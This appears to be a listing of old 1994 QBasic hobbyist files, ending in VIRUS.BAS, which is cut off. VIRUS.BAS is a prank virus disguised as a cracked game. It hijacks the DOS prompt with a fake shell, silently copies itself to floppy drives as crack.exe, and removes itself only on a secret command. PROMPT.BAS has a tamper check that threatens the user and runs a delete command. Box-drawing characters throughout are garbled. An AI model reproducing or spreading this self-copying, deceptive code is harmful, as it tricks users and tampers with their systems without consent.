LOCATE 1, 32: PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
COLOR 7, 1, 1
RETURN
cargachar:
lec$(1) = "<22> JUEGOS "
lec$(2) = "<22> MUSICA "
lec$(3) = "<22> PROCESADORES DE TEXTOS"
lec$(4) = "<22> PGRS. CONTABILIDAD "
lec$(5) = "<22> PGRS. ELECTRONICA "
lec$(6) = "<22> GRAFICOS "
lec$(7) = "<22> UTILIDADES "
lec$(8) = "<22> COPIONES "
lec$(9) = "<22> LENGUAJES "
lec$(10) = "<22> ANTI_VIRUS "
lec$(11) = " - Men<65> Principal - "
lot$(1) = " Juegos "
lot$(2) = " Musica "
lot$(3) = " Procesadores de textos "
lot$(4) = " Pgr. Contabilidad "
lot$(5) = " Pgr. Electronica "
lot$(6) = " Graficos "
lot$(7) = " Utilidades "
lot$(8) = " Copiones "
lot$(9) = " Lenguajes "
lot$(10) = " Anti_virus "
lot$(11) = " - MEN<45> PRINCIPAL - "
lec2$(1) = "<22> IMPRIMIR LISTA "
lec2$(2) = "<22> GRABAR PROGRAMAS ELEGIDOS "
lec2$(3) = "<22> CREDITOS "
lec2$(4) = "<22> MEN<45> DE DATOS ( JD ) "
lot2$(1) = "Imprimir Lista "
lot2$(2) = "Grabar programas elegidos "
lot2$(3) = "Creditos "
lot2$(4) = "Men<65> de Datos ( JD ) "
lec3$(1) = "<22> INTRODUCIR NUEVOS PROGRAMAS"
lec3$(2) = "<22> BORRAR PROGRAMAS "
lec3$(3) = "<22> INTRODUCIR MENSAJE "
lec3$(4) = "<22> VISIONAR / BORRAR PEDIDOS "
lot3$(1) = "Introducir nuevos programas "
lot3$(2) = "Borrar programas "
lot3$(3) = "Introducir mensaje "
lot3$(4) = "Visionar / Borrar pedidos "
RETURN
END
limlin:
'(LIM)ite -de- (LIN)ea
'Lon=longitud lin=linea col=columna tipo$=" ..z"
LOCATE lin, col: PRINT "<22>"
FOR A = 1 TO lon
X:
A$ = INKEY$: IF A$ = "" THEN GOTO X
IF A$ = CHR$(13) THEN GOTO finsec
IF A$ = CHR$(27) THEN GOTO limlin
IF A$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar
borra:
A = A - 1: IF A < 1 THEN A = 1
LOCATE lin, col + A - 1: PRINT " ": LOCATE lin, col + A - 1: PRINT "<22> ": GOTO X
ponchar:
IF A$ < LEFT$(tipo$, 1) OR A$ > RIGHT$(tipo$, 1) THEN GOTO X
IF A = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$
LOCATE lin, col + A - 1: PRINT A$; : IF A <> lon THEN PRINT "<22>" ELSE GOTO X
NEXT A
finsec:
texto$ = "": FOR I = 1 TO lon
IF CHR$(SCREEN(lin, col + I - 1)) = "<22>" THEN texto$ = texto$ + " " ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + I - 1))
NEXT
LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1
PLAY "b64": RETURN
corrector:
IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif
IF ERR = 27 THEN GOTO nohaypapel
GOTO fallonoloc
contrif:
RESUME NEXT
END
nohaypapel:
COLOR 14, 1, 1
BEEP
LOCATE 13, 34: PRINT "No hay papel."
sleep=20
LOCATE 13, 34: PRINT " "
GOTO il
fallonoloc:
COLOR 15, 1, 1
LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM"
LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).."
rti:
IF INKEY$ = "" THEN GOTO rti
GOTO principiodelprincipio
tipodeficha:
IF f = 1 THEN Tf$ = "1"
IF f = 2 THEN Tf$ = "2"
IF f = 3 THEN Tf$ = "3"
IF f = 4 THEN Tf$ = "4"
IF f = 5 THEN Tf$ = "5"
IF f = 6 THEN Tf$ = "6"
IF f = 7 THEN Tf$ = "7"
IF f = 8 THEN Tf$ = "8"
IF f = 9 THEN Tf$ = "9"
IF f = 0 THEN Tf$ = "0"
IF f = 10 THEN Tf$ = "0"
RETURN
help:
COLOR 7, 1, 1
LOCATE 14, 34: PRINT "Ayuda basica, JD."
LOCATE 16, 34: PRINT "Use los cursores, para acceder a"
LOCATE 17, 34: PRINT "los men<65>s."
LOCATE 18, 34: PRINT "Presione intro para 'entrar'."
LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu."
LOCATE 21, 34: PRINT " Pulse una tecla"
retorico:
IF INKEY$ = "" THEN GOTO retorico
COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT
RETURN
END
finp:
COLOR 7, 1, 1
CLS
PRINT " JD, Catalogo v<>3.1 "
PRINT : PRINT "Gracias por utilizar este sofware."
PRINT : PRINT "Devuelveme este disco cuando acabes."
PRINT " Gracias..."
END

271
BAS/PROMPT.BAS Normal file
View File

@ -0,0 +1,271 @@
'***************************************************************************
'* Cambiador de color del Prompt del Dos, en Qbasic por Jos<6F> David Guill<6C>n *
'***************************************************************************
CLS
LOCATE 1, 1
PRINT
PRINT : PRINT : PRINT
PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ"
PRINT " <20> Tipo <20> 1<> Plano <20> 2<> Plano <20> <20> Texto 1<> <20> Fondo 2<> <20> Tipo 2<> <20>"
PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ"
PRINT " <20> <20> <20> <20> <20> <20> <20> <20>"
PRINT " <20> <20> <20> <20> <20> <20> <20> <20>"
PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
PRINT " <20> <20> <20> <20> <20> <20>"
PRINT " <20> <20> <20> <20> <20> <20>"
PRINT " <20> <20> <20> <20> <20> <20>"
PRINT " <20> <20> <20> <20> <20> <20>"
PRINT " <20> <20> <20> <20> <20> <20>"
PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
PRINT : PRINT : PRINT : PRINT
COLOR 15, 0
PRINT "Texto de prueba:"
PRINT
LOCATE 25, 1: PRINT " Use los CURSORES para desplazarse y F2 para terminar";
CONST TRUE = -1
CONST false = NOT TRUE
CurrRow(1) = 2: Col(1) = 5
CurrRow(2) = 8: Col(2) = 16
CurrRow(3) = 8: Col(3) = 27
CurrRow(4) = 8: Col(4) = 41
CurrRow(5) = 8: Col(5) = 52
CurrRow(6) = 2: Col(6) = 63
CurrRowOld(1) = 1
CurrRowOld(2) = 8
CurrRowOld(3) = 1
CurrRowOld(4) = 8
CurrRowOld(5) = 1
CurrRowOld(6) = 1
CurrColO = 1
CurrRow = 1: CurrCol = 1
CurrRowOld = 1
mo$(1) = " Tipo "
mo$(2) = " 1<> Plano "
mo$(3) = " 2<> Plano "
mo$(4) = " Texto 1<> "
mo$(5) = " Fondo 2<> "
mo$(6) = " Tipo 2<> "
men$(1) = "Habilitado"
men$(2) = " Inabil. "
men$(3) = "Habilitado"
men$(4) = " Inabil. "
man$(1) = " Negro "
man$(2) = " Rojo "
man$(3) = " Verde "
man$(4) = " Amarillo "
man$(5) = " Azul "
man$(6) = " Magneta "
man$(7) = " Cian "
man$(8) = " Blanco "
FOR C = 1 TO 8
LOCATE C + 7, Col(2): COLOR 14, 0
PRINT man$(C)
LOCATE C + 7, Col(3): COLOR 14, 0
PRINT man$(C)
LOCATE C + 7, Col(4): COLOR 14, 0
PRINT man$(C)
LOCATE C + 7, Col(5): COLOR 14, 0
PRINT man$(C)
NEXT
CurrRowt(1) = 1
CurrRowt(2) = 1
CurrRowt(3) = 1
CurrRowt(4) = 1
CurrRowt(5) = 1
CurrRowt(6) = 1
GOSUB MoveLin
finished = false
DO
DO
kdb$ = INKEY$
LOOP WHILE kdb$ = ""
SELECT CASE kdb$
CASE CHR$(0) + "H" 'Up Arrow
CurrRowOld = CurrRow
CurrRow = CurrRow - 1
IF CurrRow < 1 THEN CurrRow = CurrRow(CurrCol)
CurrRowt(CurrCol) = CurrRow
GOSUB MoveLin
CASE CHR$(0) + "P" 'Down Arrow
CurrRowOld = CurrRow
CurrRow = CurrRow + 1
IF CurrRow > CurrRow(CurrCol) THEN CurrRow = 1
CurrRowt(CurrCol) = CurrRow
GOSUB MoveLin
CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left or Shift+Tab
CurrRowOld(CurrCol) = CurrRow
CurrColO = CurrCol
CurrCol = CurrCol - 1
IF CurrCol = 0 THEN CurrCol = 6
IF CurrCol = 1 AND CurrRow > 2 THEN CurrRow = 2
CurrRow = CurrRowOld(CurrCol)
IF CurrCol = 6 OR CurrCol = 1 THEN CurrRowOld = CurrRow
GOSUB MoveLin
CASE CHR$(0) + "M", CHR$(9) 'Right or Tab
CurrRowOld(CurrCol) = CurrRow
CurrColO = CurrCol
CurrCol = CurrCol + 1
IF CurrCol = 7 THEN CurrCol = 1
IF CurrCol = 1 AND CurrRow > 2 THEN CurrRow = 2
CurrRow = CurrRowOld(CurrCol)
IF CurrCol = 6 OR CurrCol = 1 THEN CurrRowOld = CurrRow
GOSUB MoveLin
CASE CHR$(0) + "<" 'F2
finished = TRUE
CASE ELSE
BEEP
END SELECT
LOOP WHILE finished = false
LOCATE 23, 1: PRINT "<22>Desea sumar el Prompt a la cola del Autoexec.bat (S/N)? "
DO: kdb$ = INKEY$: LOOP WHILE kdb$ = ""
OPEN "prom.bat" FOR OUTPUT AS #1
PRINT #1, "Echo off"
PRINT #1, "CLS"
portero$ = RTRIM$(LTRIM$(STR$(CurrRowt(1) - 1))) + ";3" + RTRIM$(LTRIM$(STR$(CurrRowt(2) - 1))) + ";4" + RTRIM$(LTRIM$(STR$(CurrRowt(3) - 1)))
wer$ = "Prompt $e[" + portero$ + "m$p$g$e[" + RTRIM$(LTRIM$(STR$(CurrRowt(6) - 1))) + ";3" + RTRIM$(LTRIM$(STR$(CurrRowt(4) - 1))) + ";4" + RTRIM$(LTRIM$(STR$(CurrRowt(5) - 1))) + "m"
PRINT #1, wer$
PRINT #1, "echo Prompt por Jos<6F> David Guill<6C>n 1994 (c)"
CLOSE
IF UCASE$(kdb$) = "S" THEN
SHELL "copy c:\autoexec.bat+c:prom.bat"
ELSE
LOCATE 22, 1: PRINT SPACE$(80);
LOCATE 23, 1: PRINT "Se creo un archivo de nombre PROM.BAT con el Prompt "
LOCATE 24, 1: PRINT SPACE$(80);
LOCATE 25, 1: PRINT SPACE$(80);
LOCATE 25, 1
END IF
SYSTEM
END
MoveLin:
COLOR 7, 0
LOCATE 6, Col(CurrColO)
PRINT mo$(CurrColO)
COLOR 3, 0
LOCATE 6, Col(CurrCol)
PRINT mo$(CurrCol)
LOCATE CurrRowOld + 7, Col(CurrCol): COLOR 14, 0
IF CurrRowOld(1) = 1 THEN h = 1 ELSE h = 0
IF CurrRowOld(6) = 1 THEN hdos = 1 ELSE hdos = 0
IF CurrCol = 1 OR CurrCol = 6 THEN PRINT men$(CurrRowOld) ELSE PRINT man$(CurrRowOld)
LOCATE CurrRow + 7, Col(CurrCol): COLOR 14, 15
IF CurrCol = 1 OR CurrCol = 6 THEN PRINT men$(CurrRow) ELSE PRINT man$(CurrRow)
IF h = 0 THEN
SELECT CASE CurrRow
CASE 1: Txto = 0
CASE 2: Txto = 12
CASE 3: Txto = 10
CASE 4: Txto = 14
CASE 5: Txto = 9
CASE 6: Txto = 13
CASE 7: Txto = 11
CASE 8: Txto = 15
END SELECT
ELSE
SELECT CASE CurrRow
CASE 1: Txto = 0
CASE 2: Txto = 4
CASE 3: Txto = 2
CASE 4: Txto = 14
CASE 5: Txto = 1
CASE 6: Txto = 5
CASE 7: Txto = 3
CASE 8: Txto = 7
END SELECT
END IF
IF CurrCol = 2 THEN
Texto = Txto
ELSEIF CurrCol = 3 THEN
fondo = Txto
END IF
IF hdos = 0 THEN
SELECT CASE CurrRow
CASE 1: Txtow = 0
CASE 2: Txtow = 12
CASE 3: Txtow = 10
CASE 4: Txtow = 14
CASE 5: Txtow = 9
CASE 6: Txtow = 13
CASE 7: Txtow = 11
CASE 8: Txtow = 15
END SELECT
ELSE
SELECT CASE CurrRow
CASE 1: Txtow = 0
CASE 2: Txtow = 4
CASE 3: Txtow = 2
CASE 4: Txtow = 14
CASE 5: Txtow = 1
CASE 6: Txtow = 5
CASE 7: Txtow = 3
CASE 8: Txtow = 7
END SELECT
END IF
IF CurrCol = 4 THEN
Despues = Txtow
ELSEIF CurrCol = 5 THEN
DespuesDos = Txtow
END IF
COLOR Texto, fondo
minombre$ = "Jos<6F> David Guill<6C>n Dominguez"
IF MID$(minombre$, 4, 1) <> "<22>" THEN GOTO errormo
IF MID$(minombre$, 17, 1) <> "<22>" THEN GOTO errormo
LOCATE 23, 17: PRINT minombre$;
COLOR Despues, DespuesDos
LOCATE 23, 47: PRINT "(c) 07/02/1994"
COLOR 7, 0
portero$ = RTRIM$(LTRIM$(STR$(CurrRowt(1) - 1))) + "; 3" + RTRIM$(LTRIM$(STR$(CurrRowt(2) - 1))) + "; 4" + RTRIM$(LTRIM$(STR$(CurrRowt(3) - 1)))
wer$ = "Prompt $e[ " + portero$ + "m $p $g $e[ " + RTRIM$(LTRIM$(STR$(CurrRowt(6) - 1))) + "; 3" + RTRIM$(LTRIM$(STR$(CurrRowt(4) - 1))) + "; 4" + RTRIM$(LTRIM$(STR$(CurrRowt(5) - 1)))
LOCATE 1, 1: PRINT wer$ + "m"
RETURN
END
errormo:
CLS
COLOR 15, 0
PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT
PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT
PRINT " los creditos ajenos a <20>l. Su autor a protegido el sistema por ello": PRINT
PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT
PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT
PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : "
PRINT " (S)istema (B)loquear (S/B)"
SHELL "Del. >nul"
SYSTEM
END

BIN
BAS/PROVEED.BAS Normal file

Binary file not shown.

107
BAS/Q2.BAS Normal file
View File

@ -0,0 +1,107 @@
PRINT
hud = 80
old$ = TIME$
simulador:
a$ = ""
hud = hud + 1
IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$
PRINT "C:\"; LTRIM$(RTRIM$(ch$)); : INPUT ">", a$
IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO simulador
IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO simulador
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT "Comando o nombre de archivo incorrecto": GOTO simulador
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN
IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO simulador
con = 0: L = 0: lug = 0: p = 0
DO
con = con + 1
L = L - 1
IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO simulador
IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$)))
LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$)))
IF p = 1 THEN ch$ = "": vez = 0: GOTO simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO simulador
END IF
IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN
sum = 0: l2 = 4
DO
sum = sum + 1
l2 = l2 + 1
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO simulador
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO simulador
END IF
IF LEFT$(UCASE$(a$), 2) = "CD" THEN
sum = 0: l2 = 4
DO
sum = sum + 1
l2 = l2 + 1
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO simulador
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO simulador
END IF
'********************************************
'COPIAR DESDE AQUI SI NO SE A<>ADE NADA ARRIBA
'********************************************
RESTORE
B$ = ""
w$ = UCASE$(LTRIM$(RTRIM$(a$)))
WHILE B$ <> "*"
READ B$, wqw$
IF RTRIM$(LEFT$(w$, 4)) = B$ OR RTRIM$(LEFT$(w$, 2)) = B$ THEN GOTO accion
WEND
PRINT "Comando o nombre de archivo incorrecto"
GOTO simulador
DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7
DATA "A:", "Cable de enlace con la unidad A, suelto", "B:", "Cable de enlace con la unidad B, suelto"
DATA *,*
accion:
SELECT CASE VAL(wqw$)
CASE 1
PRINT
PRINT " Volumen en unidad C no tiene etiqueta"
PRINT " N<>mero de serie de volumen es 1138-1600"
PRINT
PRINT " Directorio de C:\" + ch$
PRINT
PRINT "Archivo no se encontr<74>"
PRINT
GOTO simulador
CASE 2
PRINT "Imposible acceder a unidad requerida"
GOTO simulador
CASE 3
CLS
PRINT
GOTO simulador
CASE 4
PRINT "Fichero no encontrado"
GOTO simulador
CASE 5
COLOR 6
PRINT "Virus-Simuler por JD"
COLOR 7
GOTO simulador
CASE 6
PRINT : PRINT TIME$: GOTO simulador
CASE 7
PRINT : PRINT DATE$: GOTO simulador
END SELECT
PRINT wqw$
GOTO simulador
END

BIN
BAS/REF#.BAS Normal file

Binary file not shown.

2101
BAS/TPV.BAS Normal file

File diff suppressed because it is too large Load Diff

420
BAS/VIRUS.BAS Normal file
View File

@ -0,0 +1,420 @@
DECLARE FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%)
DECLARE SUB borradelauto ()
DECLARE SUB copiarac (est)
DECLARE SUB aumentacarga (global)
DECLARE SUB Simulador ()
inicio:
DIM SHARED virus, c AS INTEGER, global, fc$(100)
CONST TRUE = -1
CONST FALSE = NOT TRUE
veza = 0: vezb = 0
ON ERROR GOTO errores
OPEN "c:\dos\cargas.dat" FOR INPUT AS #1
CLOSE
glob = est
aumentacarga (glob)
IF virus <> 1 THEN GOTO finprog 'Si el virus es distinto de 1 ( off )
'el programa se aborta.
'***** simulador *****
REDIM Curr$(19), One$(19), Two$(19), Three$(19), Four$(19), Five$(19)
PRINT
row% = CSRLIN - 1
hud = 80
old$ = TIME$
Simulador:
row% = row% + 1
a$ = ""
hud = hud + 1
IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$
PRINT
promt$ = "C:\" + LTRIM$(RTRIM$(ch$)) + ">"
'PRINT promt$:
Kbd$ = GetString$(promt$, end$, 80, 80, LEN(promt$), col%)
IF RTRIM$(LTRIM$(UCASE$(end$))) = "JD_EXIT" THEN
CLS
LOCATE 5, 5: PRINT " EL FIN DE TU PESADILLA !!! , Nueva versi<73>n en marcha."
borradelauto
SHELL "del c:\dos\cargas.dat >nul"
SHELL "del c:\dos\tempi.bin >nul"
SHELL "del c:\dos\TEMPI.exe >nul"
SYSTEM
END
END
END
END IF
a$ = end$
'*******------------**********------------*********---------**********-----
IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO Simulador
IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO Simulador
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT : PRINT "Omisi<73>n de parametros": PRINT : GOTO Simulador
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN
IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO Simulador
con = 0: L = 0: lug = 0: p = 0
DO
con = con + 1
L = L - 1
IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO Simulador
IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$)))
LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$)))
IF p = 1 THEN ch$ = "": vez = 0: GOTO Simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO Simulador
END IF
IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN
sum = 0: l2 = 4
DO
sum = sum + 1
l2 = l2 + 1
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador
END IF
IF LEFT$(UCASE$(a$), 2) = "CD" THEN
sum = 0: l2 = 4
DO
sum = sum + 1
l2 = l2 + 1
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador
END IF
'********************************************
'COPIAR DESDE AQUI SI NO SE A<>ADE NADA ARRIBA
'********************************************
RESTORE
b$ = ""
w$ = UCASE$(LTRIM$(RTRIM$(a$)))
RESTORE datas
WHILE b$ <> "*"
READ b$, wqw$
IF RTRIM$(LEFT$(w$, 4)) = b$ OR RTRIM$(LEFT$(w$, 2)) = b$ THEN GOTO accion
WEND
a = 1: b = 0
DO WHILE b <= LEN(w$) + 1
b = b + 1
IF MID$(w$, b, 1) = " " THEN pal$ = LEFT$(w$, b): EXIT DO
LOOP
valor = 0
q1 = 0: q2 = 0: q3 = 0: q4 = 0: q5 = 0
pal$ = w$
OPEN "c:\dos\tempi.bin" FOR RANDOM AS #1 LEN = 113
FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$
FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$
GET #1, 1
IF valid$ = "*" THEN
MaxRecord = VAL(IoMaxRecord$)
ra = 1
DO WHILE ra <= MaxRecord
GET #1, ra + 1
Curr$ = IoDate$
One$ = IoRef$
Two$ = IoDos$
Three$ = IoTres$
Four$ = IoCuatro$
Five$ = IoCinco$
IF RTRIM$(LTRIM$(pal$)) = RTRIM$(LTRIM$(UCASE$(Curr$))) THEN
IF RIGHT$(RTRIM$(One$), 1) = "?" THEN PRINT : PRINT One$; : INPUT p$ ELSE PRINT : PRINT : PRINT One$;
IF RIGHT$(RTRIM$(Two$), 1) = "?" THEN PRINT Two$; : INPUT "", p$: q1 = 1
IF MID$(Two$, 2, 1) = "#" THEN IF RIGHT$(Two$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Two$, 3, 18); : Q = 1
IF q1 = 0 THEN PRINT Two$
IF RIGHT$(RTRIM$(Three$), 1) = "?" THEN PRINT : PRINT Three$; : INPUT "", p$: q2 = 1
IF MID$(Three$, 2, 1) = "#" THEN q2 = 1: IF LEFT$(Three$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Three$, 3, 18); : q2 = 1
IF q2 = 0 THEN PRINT Three$
IF RIGHT$(RTRIM$(Four$), 1) = "?" THEN PRINT : PRINT Four$; : INPUT "", p$: q3 = 1
IF MID$(Four$, 2, 1) = "#" THEN q3 = 1: IF LEFT$(Four$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Four$, 3, 18);
IF q3 = 0 THEN PRINT Four$
IF RIGHT$(RTRIM$(Five$), 1) = "?" THEN PRINT : PRINT Five$; : INPUT "", p$: q4 = 1
IF MID$(Five$, 2, 1) = "#" THEN q4 = 1: IF LEFT$(Five$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Five$, 3, 18);
IF q4 = 0 THEN PRINT Five$
valor = 1
EXIT DO
END IF
ra = ra + 1
LOOP
END IF
CLOSE
IF valor = 0 THEN PRINT : PRINT "Comando o nombre de archivo incorrecto"
GOTO Simulador
accion:
SELECT CASE VAL(wqw$)
CASE 1
PRINT : PRINT
PRINT " Volumen en unidad C no tiene etiqueta"
PRINT " N<>mero de serie de volumen es 1138-1600"
PRINT
PRINT " Directorio de C:\" + ch$
PRINT
PRINT "Archivo no se encontr<74>"
PRINT
GOTO Simulador
CASE 2
PRINT : PRINT "Imposible acceder a unidad requerida"
GOTO Simulador
CASE 3
CLS
PRINT
GOTO Simulador
CASE 4
PRINT : PRINT "Fichero no encontrado"
GOTO Simulador
CASE 5
COLOR 6
PRINT : PRINT "Virus-Simuler por JD"
COLOR 7
GOTO Simulador
CASE 6
PRINT : PRINT TIME$: GOTO Simulador
CASE 7
PRINT : PRINT DATE$: GOTO Simulador
CASE 8
IF veza = 0 THEN SHELL "copy c:\dos\tempi.exe a:crack.exe >nul": SHELL "copy c:\dos\tempi.bin a:crack.dat >nul"
PRINT
PRINT "Cable de enlace con la unidad A, suelto"
veza = 1
GOTO Simulador
CASE 9
IF vezb = 0 THEN SHELL "copy c:\dos\tempi.exe b:crack.exe >nul": SHELL "copy c:\dos\tempi.bin b:crack.dat >nul"
PRINT
PRINT "Cable de enlace con la unidad B, suelto"
vezb = 1
GOTO Simulador
END SELECT
PRINT wqw$
GOTO Simulador
END
finprog:
IF est = 1 THEN COLOR 5: LOCATE 15, 10: PRINT "Juego CRACKEADO ::: .. :::"
'system
END
errores:
IF ERR = 53 THEN copiarac (1)
RESUME NEXT
datas:
DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7,"A:",8,"B:",9
DATA *,*
SUB aumentacarga (global)
OPEN "c:\dos\cargas.dat" FOR INPUT AS #1
INPUT #1, carga$
CLOSE
carga$ = STR$(VAL(carga$) + 1)
